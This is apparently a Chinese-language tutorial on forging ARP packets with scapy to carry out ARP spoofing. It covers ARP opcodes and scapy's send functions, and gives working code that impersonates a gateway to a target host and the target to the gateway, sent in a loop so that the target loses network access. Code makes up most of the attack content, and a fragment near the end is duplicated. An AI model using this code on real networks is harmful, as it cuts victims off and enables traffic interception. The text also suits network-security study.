构造ARP包进行arp欺骗
arp分为请求包以及响应包 Opcode中的代码表示请求以及响应
使用wireshark抓包可见,Opcode为1可知这是一个请求包
再来看看响应包,它的Opcode为2
在使用scapy模块构造,arp应答包时,我们采用的是第二层发包(就是根据我们第二层中的封装的帧头来发包)
ptk2 = Ether()/ARP()#构造数据包
ptk2[ARP].op = 2#设置为应答包
ptk2[ARP].psrc = '192.168.0.1'#我们想要冒充的ip地址
ptk2[ARP].pdst = '192.168.0.107'#我们想要发送数据的ip地址
在我们没有设置ARP时我们 第二层目标地址mac默认为网关的地址
之后就是发包,sr 与 sr1都是在第三层发包,所以我们使用sr1发包时是没有用的。使用的srp1(pkt)方法来发包
srp1(ptk2)
如果想要目标机器断网,我们还得去使用上面的同样的方法去欺骗网关
arpspoof_gateway = Ether()/ARP()
arpspoof_gateway[ARP].op = 2
arpspoof_gateway[ARP].psrc = '192.168.0.107'
arpspoof_gateway[ARP].pdst = '192.168.0.1'
接着循环发送达到欺骗的目的
发送请求包
arp = ARP()
arp[ARP].op = 1
arp[ARP].pdst = '192.168.0.107'
sr1(arp)
四种发包方式用法如下:
(1)只发不收
- send(),在第三层发包,不关心第二层的封装,第二层采用默认值;
- sendp(),根据第二层发包,需要手动指定第二层如何封装。
(2)发包且收包
- sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
动指定第二层如何封装。
(2)发包且收包
- sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
- srp()和srp1()都是根据第二层发包,srp1表示只接收第一个回复。